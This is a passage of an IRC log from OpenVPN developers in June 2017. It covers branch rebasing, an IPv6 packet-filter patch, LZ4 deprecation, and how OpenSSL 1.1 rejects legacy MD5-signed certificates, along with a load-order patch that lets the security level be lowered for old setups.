www.mail-archive.com) 08:24 < CRCinAU> echo "Is this the right checksum? " . md5(rand(a-zA-Z, 16)); 08:24 < slypknot> ordex: i'm trying but failing to merge 08:24 <@ordex> slypknot: merge what ? 08:24 <@ordex> my ipv6pf 08:25 <@ordex> ? 08:27 < slypknot> yeah .. just looking into it 08:28 <@ordex> slypknot: merging with a newer version won't work. I need to rebase it 08:28 <@ordex> sorry, I didn't understood you were trying that 08:28 <@ordex> *understand 08:29 <@plaisthos> ordex: is that patch public? 08:29 <@ordex> plaisthos: the ipv6pf ? 08:29 <@ordex> yes it is, since a while. it is in one of my branches in the openvpn repo on my github 08:30 <@ordex> I worked on that before the end of last year .. so based on quite some old codebase 08:30 <@plaisthos> oh okay 08:30 <@plaisthos> I might take a look on it soonish, I need to implement something similar 08:30 <@ordex> I need to put sometime on rebasing it on top of master 08:30 <@ordex> sure 08:30 <@ordex> :) any feedback is welcome! 08:31 <@plaisthos> github.com/ordex? 08:31 <@ordex> plaisthos: yup 08:31 <@plaisthos> or another github account? 08:31 <@ordex> plaisthos: https://github.com/ordex/openvpn/tree/ipv6pf 08:31 <@vpnHelper> Title: GitHub - ordex/openvpn at ipv6pf (at github.com) 08:31 <@ordex> just found the email I sent to the ml 08:31 <@ordex> "[Openvpn-devel] #636: IPv6 subnets support in PF component" 08:33 < slypknot> https://community.openvpn.net/openvpn/ticket/636 08:33 <@vpnHelper> Title: #636 (Add IPv6 Support to packet filter (please)) – OpenVPN Community (at community.openvpn.net) 08:37 <@ordex> dazo: cron2: if I want to send an email to openvpn-devel from another address (not registered one), what should I do? must I register all the addresses I want to use ? 08:38 <@plaisthos> ordex: thanks! 08:39 <@ordex> plaisthos: np! 08:40 <@cron2> ordex: send mail from the subscribed address :-) 08:40 <@ordex> ok :P 08:42 <@dazo> ordex: only the mail envelope (Return-Path header) is checked against the subscriber list 08:43 <@dazo> ordex: so From: can be a different address 08:43 <@ordex> ah ok, I could change the From field then 08:43 <@ordex> yeah 08:43 <@ordex> next time :) 08:43 <@ordex> thanks! 08:43 <@dazo> :) 08:44 <@cron2> dazo. thanks 08:45 <@dazo> ? 08:48 <@ordex> do you guys get a SSL err when opening: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14881.html ? 08:48 <@vpnHelper> Title: [Openvpn-devel] [PATCH] init_key_ctx: key and iv arguments can (now) be const (at www.mail-archive.com) 08:48 <@dazo> ordex: nah, those errors are commonly just mistakes so I ignore them .... :-P 08:49 <@dazo> </joke> 08:49 <@ordex> :D 08:49 <@dazo> no, I don't have any issues with that on my side 08:50 <@ordex> mh weird 08:50 < CRCinAU> dazo: let me contribute a new script.... 08:50 <@ordex> SSL_ERROR_BAD_MAC_READ 08:51 <@dazo> eeww? Never seen that in a browser before 08:51 * slypknot has no error 08:51 <@cron2> dazo: that "thanks" was for the mail on the list, calming the waves 08:51 <@dazo> ahh, oh :) 08:52 < CRCinAU> while true ( echo "Is this the right checksum? " . md5(rand(a-zA-Z, 16)); ANSWER=read; if ( $ANSWER == 'Y' ); then exit 0; fi ) 08:52 <@dazo> heh 08:53 <@plaisthos> good that I always d/l from git :) 08:53 <@dazo> lol :) 08:53 < CRCinAU> kinda like these: http://imgur.com/gallery/r102w 08:53 <@vpnHelper> Title: "Please Enter Your Phone Number" - Album on Imgur (at imgur.com) 08:54 <@plaisthos> openssl/crypto/threads_pthread.c:154: error: undefined reference to '__atomic_is_lock_free' 08:54 <@plaisthos> more fun! 08:54 <@plaisthos> yeah! :( 08:54 < CRCinAU> I feel this is the closest match for the checksum issue: http://i.imgur.com/FBXzAGH.gif 08:55 <@plaisthos> you are assuming that Pi is transcendental with that gif :) 08:55 < CRCinAU> ;) 08:56 <@plaisthos> hm no 08:56 <@plaisthos> that is not what I was looking for 08:56 <@plaisthos> transcentendatal is just R \minus Q 08:57 < CRCinAU> well, the theory states that every possibility of every combination of numbers is in the value of Pi somewhere...... 08:57 < CRCinAU> which is quite ..... outstanding.... 08:57 < CRCinAU> the 'random seed' that holds our universe together? ;) 08:57 <@ordex> wasn't that the golden ratio ? 08:58 <@ordex> :O 08:58 < CRCinAU> meh - who knows lol 08:58 < CRCinAU> I thought the golden ratio was a photography thing? 08:58 <@plaisthos> CRCinAU: I was not sure if that is proven or only a hypothesis so far 08:59 < CRCinAU> well, if someone solves Pi, does our universe segfault? 08:59 < slypknot> https://en.wikipedia.org/wiki/Euler%27s_identity 08:59 <@vpnHelper> Title: Euler's identity - Wikipedia (at en.wikipedia.org) 08:59 < slypknot> the universe is an illusion 09:00 < CRCinAU> lunchtime doubly so... 09:02 < slypknot> it's now a multiverse btw ;) 09:05 < CRCinAU> ahhh is that whta happened? we just got the checksums from an alternative reality? 09:05 < CRCinAU> and in that thought - its amazing to think that in one reality, I'm actually a nice guy and useful at fixing bugs.... 11:03 <@mattock> CloudFlare is surprisingly annoying in these releases 11:03 <@mattock> it might be that people are polling actively for the latest release by guessing the release name 11:04 <@mattock> and when a wrong file is on the download servers - even if for some minutes - it gets cached 11:05 <@mattock> or so it seems 11:17 <@ordex> that might really be the case 11:56 * dazo votes for UUID file names :-P 11:58 * dazo heads home ... back in a few hours 13:40 <@vpnHelper> RSS Update - gitrepo: OpenSSL: remove pre-1.1 function from the OpenSSL compat interface <https://github.com/OpenVPN/openvpn/commit/64b8a4ae9d7edb39f802d0d4cbdf9d46116f2461> 14:13 <@vpnHelper> RSS Update - gitrepo: Fix typo in extract_x509_extension() debug message <https://github.com/OpenVPN/openvpn/commit/0402c7faadf907d4c0c1398e9250293527d4054f> 16:09 < valdikss> cron2: what's the status of your radiusplugin fork? Is it stable and robust? (I heard you had crashes in the radiusplugin earlier on...) < neigher 16:09 <@vpnHelper> RSS Update - tickets: #906: Cipher negotiation succeeds when it should fail <https://community.openvpn.net/openvpn/ticket/906> 16:37 <+danhunsaker> Leaving this here... https://mastodon.xyz/users/Fo0/updates/233225 16:37 <@vpnHelper> Title: Mastodon (at mastodon.xyz) 17:23 < Qommand0r> oh nice, new version 17:24 < Qommand0r> updated my fork on GH, now re-building those win64 binaries (built with libressl) i offer on my site 17:25 < Qommand0r> using a rudimentary visitor map, quite funny to see where the downloads come from; really all over the place 17:25 < Qommand0r> although quite limited in number, hehe 21:00 < CRCinAU> urgh --- Day changed Fri Jun 23 2017 01:35 <@ordex> morning 01:38 <@cron2> valdikss: ? 01:41 < valdikss> cron2: it doesn't work good and stable, it crashes sometimes and I didn't have time to investigate 01:42 < valdikss> It's very ugly code-wise 01:42 <@cron2> :( 01:43 * cron2 needs something exactly like this... but I can't do C++, so can't really fix things. Well... I'll see. 01:48 <@ordex> radiusplugin ? is it a plugin for openvpn ? 01:55 < valdikss> ordex: yes 01:55 <@ordex> ah nice 01:56 <@ordex> valdikss: where is it ? 01:57 <@cron2> ordex: http://bfy.tw/CWq4 01:57 <@vpnHelper> Title: LMGTFY (at bfy.tw) 01:58 <@ordex> cron2: :-P 01:58 <@ordex> laziness is not allowed not even inthe morning? 01:58 <@ordex> : 01:58 <@ordex> :D 01:58 <@cron2> somewhere on the world, it's always lazy morning time :) 01:58 <@ordex> ;) 01:58 <@ordex> true 01:58 <@cron2> (but the first hit is indeed valdikss' github fork) 01:59 <@ordex> if it is a fork, does it mean there is an original project which is basically abandoned ? 01:59 <@cron2> yes 02:00 <@cron2> it was done as a student master thesis... the student graduated, left the company, abandoned^Wput the project on github 02:02 <@ordex> wow some files are 10 years old 02:02 <@ordex> oh ok 02:02 * CRCinAU slaps dazo with a management interface ;) 02:18 <@cron2> fun times... 02:19 * cron2 is subcribed to the openssl-unix-dev mailing list, where Emanuel just proposed doing something similar for openssl 1.1 compatibility, and the single response so far was "we're trying to block openssl 1.1 as much as we can because we think it's openssl's job to fix the compatibility issues!!!!" 02:20 <@cron2> (of course, on other opportunies, people bash openssl for having old cruft in there, and no sane API... - so they build a saner API and drop the cruft, and then they are bashed again) 02:20 < CRCinAU> sounds like my work 02:20 < CRCinAU> when you do it right, people bitch at your choice of tools 02:20 < CRCinAU> when you do it wrong, they bitch at someone making a mistake 02:20 <@cron2> yeah... :) 02:21 <@ordex> it's all about pushing work away from you :p 02:21 <@cron2> plus religion 02:22 <@ordex> cron2: dazo: do you mind if I push my work-in-progess branches directly in the openvpn repo on GH, instead of having my own fork? 02:22 <@ordex> or do we prefer to avoid that? 02:22 <@cron2> we prefer to avoid that 02:23 <@ordex> oky 02:23 <@ordex> then I'll just keep my fork 02:24 <@cron2> (not saying we cannot change this - but it needs to be sort of better defined what branches are where, and who has access to what - right now, only dazo and I push to master and release/, and I think syzzer has write access to coverity_scan/ ) 02:24 <@cron2> we need a meeting 02:26 <@ordex> sure, we can talk about how to handle this 02:26 <@ordex> usually in the past I liked each of the dev to have its own "domain" for wip stuff: i.e. origin/ordex/* 02:26 <@ordex> and I have rw there 02:27 <@ordex> so it is clear that stuff in there are my broken things and i can only mess up there 02:27 <@cron2> this might actually be a very good thing, to be able to get buildbot to test something across all platforms 02:27 <@ordex> right 02:27 <@ordex> so we push and have buildbot/travis/whoever to do some check overnight 02:27 <@ordex> and void broken patches :-P 02:27 <@cron2> no idea which repo buildbot is pulling from today, though... used to be sf 02:27 <@ordex> well, we can check that i guess :) 02:27 <@cron2> ordex: more like "we push, and if we think it's needed, ask buildbot to test a particular commit" 02:28 <@ordex> even better, yeah 02:28 <@cron2> have 8 machines build like 16 variants each for every commit in every dev branch is a bit over the top... 02:28 <@ordex> :D agreed 02:29 < CRCinAU> ordex: just push it straight to master. 02:29 < CRCinAU> its the only way 02:29 <@ordex> CRCinAU: we do that only for critical stuff ;P 02:30 < CRCinAU> just like everything is awesome, everything is also critical. 02:30 <@cron2> this would certainly bring a bit more agility to our development process... :-) - but then you need to find another stupid who does testing, review and QA... :) 02:31 < CRCinAU> what are those? 02:32 <@ordex> CRCinAU: buzzwords somebody invented to slow down human evolution 02:32 <@ordex> :D 02:32 <@ordex> pf! 02:33 <@cron2> CRCinAU: excercises in futility :) 05:48 <@ordex> does anybody know why on travis-ci I see only some of my branches and not them all ? 06:19 <@ordex> cron2: if a library is suggesting to switch to a new function because the one we are using is deprecated, but this new function is available only in the newest/stable lib version, what do we do ? 06:19 <@ordex> do we create compat code where we check for the lib version somewhere? or we keep the deprecated function? 06:24 < eworm> ordex: Can you handle this with preprocessor macros? 06:24 < eworm> What exactly? 06:25 <@ordex> eworm: if libz4 exports its version, then yes 06:25 <@ordex> eworm: a function exported by lz4 06:25 < eworm> I think that is handled already 06:25 <@ordex> ehat is handled? 06:25 <@ordex> *what 06:25 < eworm> dazo has one of my patches in his queue 06:26 <@ordex> about LZ4_compress_limitedOutput ? 06:26 <@ordex> eworm: ^ 06:27 < eworm> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg13574.html 06:27 <@vpnHelper> Title: [Openvpn-devel] [PATCH 2/2] replace deprecated LZ4 function (at www.mail-archive.com) 06:27 <@plaisthos> any last words before I start my OpenSSL 1.1 test on the android users? :P 06:28 <@ordex> plaisthos: go for it ! 06:28 <@ordex> :D 06:28 < eworm> :D 06:28 <@ordex> eworm: oh yeah, exactly that one. Although I personally hate having all those ifdefs in the middle of the code :S 06:28 <@ordex> but that's another story 06:31 <@plaisthos> btw. https://community.openvpn.net/openvpn/wiki/VulnerabilitiesFixedInOpenVPN243 has CVE-2017-7521 twice, is that correct? 06:31 <@vpnHelper> Title: VulnerabilitiesFixedInOpenVPN243 – OpenVPN Community (at community.openvpn.net) 06:36 < eworm> One is CVE-2017-7512, no? 06:40 <@plaisthos> no, Potential double-free in --x509-alt-username and Remote-triggerable memory leaks 06:40 <@plaisthos> both mention the same CVE number 06:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 06:41 -!- mode/#openvpn-devel [+v janjust] by ChanServ 06:48 < eworm> then I've seen a typo elsewhere :-p 07:06 < slypknot> woah .. jjk is in the house ! 07:07 <@ordex> is "[PATCH v6] convert *_inline attributes to bool" in somebody's queue? :-P 07:15 <+janjust> lol and who is slypknot? 08:03 <@cron2> ordex: we look annoyed, and decide on a case-by-case basis - like, "are there relevant systems that ship the old library that does not have the function yet" 08:04 <@cron2> plaisthos: 1721 is correct, that is "two patches for two different aspects of the same underlying issue" 08:04 <@cron2> 7521, that is 08:07 <@ordex> cron2: alright, although we have compat.h where we could store ifdefs with redefinitions to old api 08:08 <@cron2> ordex: case by case - we even ship our own copy of lz4, so we could just decide to never care 08:08 <@plaisthos> cron2: okay thanks! 08:09 <@ordex> yeah 08:09 <@ordex> ok 08:09 <@plaisthos> +#include <internal/evp_int.h> 08:10 <@plaisthos> yeah, bloody hacks to make my "need to go internals of opnenssl" to workaraound a bug in ANdroid 4.1 now works :) 08:10 <@plaisthos> without needing to compile an old openssl 1.1 lib 08:55 <@plaisthos> ordex: so let see what broken ssl implementation OpenSSL 1.1.0f refuses to speak to 08:55 <@ordex> plaisthos: what kind of combination are you going to test ? 08:56 <@plaisthos> just from experience 08:57 <@plaisthos> I just pushed the apk with OpenSSL 1.1.0f to the play store 08:57 <@plaisthos> and each time we fixed/updated something to the ssl configuration it broke someone config 08:57 <@plaisthos> like when we forced dh/ecdh 08:57 <@plaisthos> or disabled export ciphers 09:22 <@ordex> :D 09:22 <@ordex> brace brace !! 10:21 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 13:28 <@ordex> plaisthos: your app is "OpenVPN for Android" right ? 13:29 <@ordex> yes 13:38 <+krzee> ^ yes 15:58 < slypknot> why does --tls-export-cert [dir] not simply use --temp-dir if [dir] is not spec'd 15:59 < slypknot> or not spec [dir] at all 16:02 < slypknot> security ! 16:03 < slypknot> ordex: please get your ipv6pf upto date 16:03 < slypknot> pleeeeeease 16:04 <@ordex> slypknot: will do across the weekend! 16:04 < slypknot> wicked :) 16:04 <@ordex> I have a long flight ahead and will definitely use some time to rebase that :D 16:05 < slypknot> two birds with one stone 16:05 <@ordex> :D 16:05 < slypknot> unfortunate mataphor 16:05 < slypknot> but have a safe flight 16:07 < slypknot> it's a bit nuts internetting from a feckin plane though ;) 16:08 < slypknot> u sure you're not from area 51 ? 16:08 <@ordex> pretty sure 16:08 <@ordex> :P 16:08 <@ordex> but i won't need internet 16:08 <@ordex> I get the latest master before takeoff :P 16:09 < slypknot> sure :) 16:10 < slypknot> i am not sure what you did to "inline" in your other ptach but I am convinced it does not work 16:11 <@ordex> oh you mean my v6 patch ? :D 16:11 <@ordex> that has been reviewed several times - it seemed to have reached a reasonable state :P 16:11 <@ordex> what makes you think it does not work? 16:12 < slypknot> yeah right .. ipv6pf vs inline .. cos they sound the same .. and they is you patches ;) 16:13 < slypknot> when i use inline .ovpn (w10) admin cmd to "openvpn server.ovpn" I get all errors about inline certs 16:13 < slypknot> actually "openvpn client.ovpn" 16:13 < slypknot> from admon cmd in windows 16:15 < slypknot> the error is .. (hold on) 16:17 < slypknot> Options error: --ca fails with '-----BEGIN CERTIFICATE----- 16:17 < slypknot> ^the cert^ 16:18 < slypknot> for all inline files 16:18 < slypknot> only ever seen that on your ipv6pf tree 16:18 <@ordex> slypknot: are you using my patch ? 16:18 <@ordex> ah 16:18 <@ordex> ok 16:18 < slypknot> not patch 16:18 <@ordex> let me check one thing 16:18 < slypknot> had to download the tree 16:19 < slypknot> as zip 16:19 < slypknot> in order to get --packet-filter-dir 16:19 <@ordex> slypknot: yeah, ipv6pf is based on "convert *_inline attributes to bool" 16:19 <@ordex> so that patch is creating some troubles on windows I guess 16:20 < slypknot> only "inline" the ipv6pf seems to work perfectly 16:20 <@ordex> yeah 16:20 < slypknot> i have been testing quite thoroughly ;) 16:20 < slypknot> for me i mean 16:20 <@ordex> so you also accidentally tested the inline patch :D 16:20 <@ordex> thanks for reporting that too 16:20 <@ordex> :D 16:20 <@ordex> cool that it works ;) 16:21 < slypknot> i dont know enough C to be ableto comment on the code 16:21 <@ordex> the thing that remains to be discussed is whether we like this non-plugin approach for the pf 16:21 <@ordex> no need to, it is perfect! 16:21 <@ordex> :D 16:21 < slypknot> i think it is excellent 16:22 < slypknot> i have really tried to break ipv6 aswell .. and have failed .. 16:22 < slypknot> so personally I can't find anything wrong with it at all 16:23 < slypknot> i think you should submit to the ML .. get the real feedback ;) 16:31 < slypknot> [subnets accept] 16:31 < slypknot> ::/0 16:40 < slypknot> however: 16:41 < slypknot> [SUBNETS ACCEPT] 16:41 < slypknot> 10.8.0.1/32 16:42 < slypknot> nice ;) 16:58 <@ordex> :) 17:01 <@ordex> slypknot: actually the rebase was easier than I thought 17:01 <@ordex> let me push .. 17:03 <@ordex> slypknot: the same branch is now based on top of master 17:03 <@ordex> and i have removed the inline patch from the middle 17:03 <@ordex> so it is just ipv6pf 17:04 <@ordex> I need to adjust the style a bit 17:04 <@ordex> but I'll do tha before sending to the ml 17:04 <@ordex> *that 17:45 * slypknot is trying to clone ordex/ipv6pf 18:00 < slypknot> done .. 18:00 < slypknot> godda make for win 18:01 < slypknot> ordex: thank you :) 18:01 <@ordex> np :) 19:18 < slypknot> ordex: one suggestion .. making pf ipv6 ready is one thing .. adding --packet-filter-dir is two things 19:19 < slypknot> but it's ACK from me 20:25 < slypknot> i guess you already figured that 23:43 * CRCinAU yawns --- Day changed Sat Jun 24 2017 00:34 <@ordex> slypknot: that's why you have multiple patches 08:17 < slypknot> ordex: for some reason origin/ipv6pf does not have --packet-filter-dir .. which branch should i use ? 08:18 < slypknot> hmm .. i'll try master 08:54 < slypknot> ok .. sorted 14:00 <@cron2> re 19:57 <@ordex> slypknot: it should 20:01 <@ordex> morning !!!! 21:11 <@ordex> slypknot: did you find out why the option was not there ? 21:49 <@ordex> dazo: are you still working on your concept about having plugins intercepting incoming and outgoing traffic in order to manipulate it (i.e. obfuscation) 21:49 <@ordex> or no time yet ? --- Day changed Sun Jun 25 2017 10:50 -!- marlinc_ is now known as marlinc 13:08 < slypknot> ordex: --packet-filter-dir (and the filter) works perfectly .. i just used the wrong branch 13:09 < slypknot> it has passed all my tests ipv4+6 14:08 <@plaisthos> "After latest update not working. Got fatal error, unrecognized command: cannot load inline certificate file and ca md too weak" 14:08 <@plaisthos> there is the first victim of ossl 1.1 14:08 <@vpnHelper> RSS Update - tickets: #907: OpenVPN server is rejecting clients due to self signed cert error <https://community.openvpn.net/openvpn/ticket/907> 14:25 < slypknot> plaisthos: i am sure easyrsa3 does sig alg sha256WithRSAEncryption 14:26 < slypknot> easyrsa2 does md 14:33 <@plaisthos> no idea 14:33 <@plaisthos> probobaly something like that 14:33 <@plaisthos> sha1/md5 14:42 <@plaisthos> yeah md5 15:16 <@cron2> plaisthos: enjoying yourself? ;-) 15:24 <@plaisthos> well it is always a bit fun of breaking setups that are already broken 15:24 <@plaisthos> but then again often my app the one that is the first to break 15:25 <@plaisthos> i.e. setup would break half a year or year later anyway when the other clients are updated 15:25 <@plaisthos> so people blame the breakage on me 15:27 <@plaisthos> syzzer: take a look at this if you are not already aware of it: https://github.com/schwabe/ics-openvpn/issues/704 15:27 <@vpnHelper> Title: Inconsistent cipher and auth values after re-keying · Issue #704 · schwabe/ics-openvpn · GitHub (at github.com) 18:07 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 19:43 <@ordex> slypknot: ok! 19:47 < slypknot> ordex: cheerz ;) 19:49 <@ordex> :) --- Day changed Mon Jun 26 2017 03:31 <@cron2> eworm: could you have a look at https://community.openvpn.net/openvpn/ticket/907 ? That's arch, openssl 1.1, and openvpn not working... 03:31 <@vpnHelper> Title: #907 (OpenVPN server is rejecting clients due to self signed cert error) – OpenVPN Community (at community.openvpn.net) 03:52 < eworm> cron2: For me this looks like the server certificate self-signed, not signed by CA 04:01 <@cron2> yeah, but I'm wondering if there might be somthing lurking in openssl 1.1 that upsets easy-rsa, so when the same user generates a new cert/key pair on 1.1, it fails, but on 1.0 it worked 04:07 < eworm> good question... 04:08 < eworm> Possibly openssl accepted a self-signed certificate in this situation? 04:08 < eworm> Let's wait for what the user reports for openssl output 04:16 <@cron2> right 05:15 < CRCinAU> speaking of openssl.... if anyone has insight into this: https://bugzilla.redhat.com/show_bug.cgi?id=1462262 05:16 <@vpnHelper> Title: Bug 1462262 wpa_supplicant possibly uses DEFAULT:!EXP:!LOW for cipher selection (at bugzilla.redhat.com) 05:21 <@plaisthos> hmpf 05:21 <@plaisthos> I got a lot of email because the md too weak problem :( 05:26 < CRCinAU> plaisthos: I think my RH BZ is similar ;) 05:35 <@plaisthos> hm 05:36 <@plaisthos> tls-cipher "DEFAULT:@SECLEVEL=0" might work 05:43 <@plaisthos> so how do I create a Md5 certificates? :) 05:45 < eworm> plaisthos: No, does not work 05:46 < eworm> certificate != cipher 05:48 <@plaisthos> eworm: I think it does 05:48 <@plaisthos> seclevel is also used to check secbits when loading a certificate 05:48 <@plaisthos> according to the source code 05:48 <@plaisthos> and who said that openssl apis are sane? :P 05:49 <@plaisthos> is there somewhere a md5 cert? 05:49 <@plaisthos> (I don't need a key) 05:52 < eworm> you want an md5 ca cert? 05:52 < eworm> sure... 05:52 <@plaisthos> yeah 05:53 < eworm> Where do you want me to send it? 05:53 <@plaisthos> since openssl quits on load already it would be enough to test 05:53 <@plaisthos> arne@rfc2549.org 05:53 <@plaisthos> many thanks 05:53 <@plaisthos> oh nevermind, a ca cert won't work :( 05:54 <@plaisthos> the function does not do the check if it is self signed 05:54 <@plaisthos> I think 05:55 < eworm> oh 05:55 < eworm> damn 05:55 < eworm> let me think... 05:56 < eworm> Possibly I have an ancient debian around to generate CA and cert ;) 05:56 <@plaisthos> I am seeing if I can force easy-rsa to do md5 05:56 * plaisthos tries default_md = md5 06:00 <@plaisthos> hm 06:01 <@plaisthos> tls-cipher does not work 06:02 < eworm> So you have a weak certificate now? 06:02 <@plaisthos> yes 06:02 <@plaisthos> I think the problem is that openvpn loads the certificates before setting tls-cipher 06:13 <@plaisthos> yeah 06:15 <@plaisthos> I got a working md5 client config 06:15 <@plaisthos> and the worst thing is 06:15 <@plaisthos> my server accepts the client 06:26 < eworm> what to change? 06:26 < eworm> And how to make a server accept weak certificates? 06:27 <@plaisthos> patch is on the mailing list 06:27 <@plaisthos> my server is linked with OpenSSL 1.0.2 06:27 <@plaisthos> and I did not nothing to make it accept it 06:28 <@plaisthos> that is the scary part 06:28 <@plaisthos> for the client you need the patch on the ml and the tls-cipher "DEFAULT:@SECLEVEL=0" option 06:35 < eworm> so let's see if it helps for a server linked against openssl 1.1.0 :-p 06:35 <@plaisthos> eworm: probably not :) 06:35 < eworm> nothing new on the mailing list 06:35 <@plaisthos> eworm: sf gray listing :/ 06:35 <@plaisthos> eworm: https://github.com/schwabe/openvpn/commit/9fa0b9a7e1240170f964bbca6a3d4f608b6325bc 06:35 <@vpnHelper> Title: Set tls-cipher restriction before loading certificates · schwabe/openvpn@9fa0b9a · GitHub (at github.com) 06:42 <@plaisthos> now also on the list 06:44 < eworm> Do we want this to work in server mode as well? 06:46 < eworm> Oh, the patch fixes it for server mode... 06:46 < eworm> Just forgot the config for my last test. :-p 06:47 <@plaisthos> yeah the patch should work on server too 06:47 <@plaisthos> but should only be needed if the server certificates itself is md5 based 06:47 <@plaisthos> for connecting clients the tls-cipher with seclevel should be enough 06:48 < eworm> yes, it is 06:49 < eworm> Migrated an ancient Debian to recent Arch. :-D 06:50 <@cron2> whee 06:50 <@cron2> NetBSD was stuck on 2.3.6 or so for ages, took 'em 4 months to upgrade to 2.3.15 - and now I find them having 2.4.3 in their tree, commit being from yesterday morning \o/ 06:55 <@plaisthos> nice 07:10 <@plaisthos> eworm: but MD5 certificates are utterly broken 07:12 <@cron2> mmmh, now I have an ACK and a "do we really need this?" DISCUSS... 07:12 < eworm> This system is to be replaced by another one but still serves two old clients. 07:13 < eworm> Once theses are replaced I can get rid of the old certificates by just powering off the server. 07:14 <@plaisthos> cron2: you might wnat to set @SECLEVEL=3 07:15 <@plaisthos> to only allow sha256 based certificates 07:15 <@plaisthos> just to be sure 07:16 < eworm> Let me try with OPENSSL_ENABLE_MD5_VERIFY=1 07:22 <@plaisthos> that seem fedora specific 07:22 <@plaisthos> cron2: I upselling my patch! 07:22 < eworm> That does not work for me 07:22 <@plaisthos> no wonder ,the message when you enable is: 07:22 <@plaisthos> ** WARNING ** [Fedora modification] MD5 certificate hash re-enabled via OPENSSL_ENABLE_MD5_VERIFY environment variable. 07:23 < eworm> so fedora has a patched openssl? 07:23 <@plaisthos> seems like it 07:23 < eworm> that does not work for Arch :D 07:25 <@plaisthos> https://src.fedoraproject.org/cgit/rpms/openssl.git/tree/openssl-1.1.0-no-md5-verify.patch 07:25 <@vpnHelper> Title: openssl-1.1.0-no-md5-verify.patch - rpms/openssl.git - openssl (at src.fedoraproject.org) 07:25 <@plaisthos> yeah it is a fedora patch 07:28 <@plaisthos> dazo lives too much in Fedora world :P 07:30 <@plaisthos> OUCH: 07:30 <@plaisthos> From an email: "after a lot of digging i figured this out, problem is the the openvpn installer for windows has batch files in the easy-rsa folder and the openssl config file in it has default_md set to md5, i changed that to SHA256 and then created the certificates and then it works fine" 07:30 <@plaisthos> so old easy-rsa version that are still being used contribute to this problem :( 07:31 <@cron2> brr 07:34 <@plaisthos> seem that was changed only 4 years ago 07:34 <@plaisthos> in easy-rsa 3 07:35 <@plaisthos> that explain the massive number of broken configs 08:09 * slypknot is looking forward to the flood of md5 crap to hit the forum .. 08:10 < slypknot> https://forums.openvpn.net/viewtopic.php?f=4&t=24374 08:10 <@vpnHelper> Title: [easy-rsa] How to generate certs in Windows signed with SHA instead MD? - OpenVPN Support Forum (at forums.openvpn.net) 08:23 <@plaisthos> slypknot: yeah, but it is a serious problem if you care about your security 08:23 <@plaisthos> https://natmchugh.blogspot.de/2015/02/create-your-own-md5-collisions.html 08:23 <@vpnHelper> Title: Nat McHugh: Create your own MD5 collisions (at natmchugh.blogspot.de) 08:24 <@plaisthos> the cost of creating a fake certificate is *really* low 08:56 <@dazo> plaisthos: I was not aware of that the OPENSSL_ENABLE_MD5_VERIFY env variable was re-added to OpenSSL 1.1 08:57 <@dazo> plaisthos: the warning you posted was from an OpenVPN patch I tested out in a scratch build, which was never really released to Fedora users ... so I'm fascinated you managed to dig up that one 08:57 <@plaisthos> :) 08:58 <@plaisthos> was one of the first hits on google 09:03 * dazo enters the Diablo corner of his office ... and screams "MD5 needs to die NOW!" ... and looks consider how to patch that sound into OpenVPN :/ 09:09 <@plaisthos> dazo: your turn agian :P 09:14 <@plaisthos> dazo, syzzer: what happens if you have both tls-cipher and tls-cert-profile in your config? 09:18 <@plaisthos> suiteb would be tls-cipher "SUITEB128" 09:19 <@plaisthos> preferred what we have at the oment + :@SECLEVEL=4 09:20 <@plaisthos> I am not sure if you can disable sha1 in openssl 1.0.2 09:21 <@plaisthos> or md5 certificates 09:21 <@plaisthos> md5 ciphers, sure but not sure about certificates 09:22 <@dazo> MD5 is disabled by default in OpenSSL 1.0.x, afaik ... that's where this env.variable came from originally 09:22 * dazo will double check the fedora patches, but believe that was re-introduced in openssl-1.1 09:23 <@plaisthos> dazo: I think that is also Fedora patches 09:23 <@plaisthos> grepping through a vanilla openssl-1.0.2k gives no match 09:24 <@plaisthos> [16:15]arne@styx:~/dl/openssl-1.0.2k% grep -ri ENABLE_MD5 * 09:24 <@plaisthos> [16:15]{1}arne@styx:~/dl/openssl-1.0.2k% 09:28 <@plaisthos> dazo: anyway, I think we should my patch, so that tls-cipher reacts as in other apps that implement the correct order 09:30 <@dazo> plaisthos: you seem to be right about that env variable. But, it's not only Fedora ... but RHEL too supports that, but that's the same "universe" 09:30 <@dazo> (and with RHEL, you have CentOS, Scientific Linux and all other RHEL clones) 09:31 <@plaisthos> Yes, granted 09:31 <@plaisthos> but Ubuntu/Debian uses a more vanilla OpenSSL which does not have it 09:36 <@plaisthos> dazo: https://www.openssl.org/docs/manmaster/man3/SSL_CTX_set_security_level.html 09:36 <@vpnHelper> Title: /docs/manmaster/man3/SSL_CTX_set_security_level.html (at www.openssl.org) 10:09 <@plaisthos> *sigh* another user has hardcoded "tls-cipher TLS-ECHDE-ECDSA-WITH-AES-256-GCM-SHA384 10:10 <@plaisthos> and that breaks for some reason with no shared cipher with OpenSSL 1.1 10:25 <@dazo> :/ 10:28 <@plaisthos> dazo: so how do we continue? 10:28 <@plaisthos> try to emulate the profiles with Openssl and bail out if tls-cipher is also set? 10:29 <@plaisthos> introduce a openssl only tls-security-level x directive? 10:29 <@dazo> I think we need syzzer's thought on this 10:29 <@dazo> no, --tls-security-level won't be compliant with --tls-cert-profiles .... 10:29 <@plaisthos> yeah and security changes more/different things 10:30 <@plaisthos> e.g. also tls version/compression 10:30 <@dazo> ahh, I see ... well .... perhaps ... Need to ponder a bit on that 10:32 <@plaisthos> I think for the future the tls-version/tls-cipher etc. should be "don't use this" 10:33 <@plaisthos> and we should one general options like tls-cert-profile but maybe more tls-security profile that has good defaults 10:33 <@plaisthos> e.g. legacy, preferred etc. 10:33 <@plaisthos> and say in manual that they are comparable but also depend a bit on SSL library naturally 10:33 <@plaisthos> and warn if both tls-cipher and the default is set, pointing out that overriding this might invalidate the other option 10:34 <@dazo> that does sound reasonable ... but we need to carry support for these established approaches too, for quite some time before we can clean up and remove them 10:34 <@plaisthos> yeah 10:34 <@plaisthos> there will probably always be a need for something like tls-cipher 10:34 <@plaisthos> if you want some crazy cipher suites 10:34 <@dazo> that's why I try to reduce the "changes in configs" scope as much as possible 10:34 <@dazo> yeah 10:35 <@plaisthos> but that should for people that really that really understand what they are doing 10:35 <@dazo> agreed! 10:35 <@plaisthos> the rest should pick a default and bit good with it 10:35 <@plaisthos> and not pick a cipher and put it in tls-cipher and wonder why it breaks *sigh* 10:36 <@dazo> (but ... considering the tons of blog posts .... where people now add bypass-dhcp flags 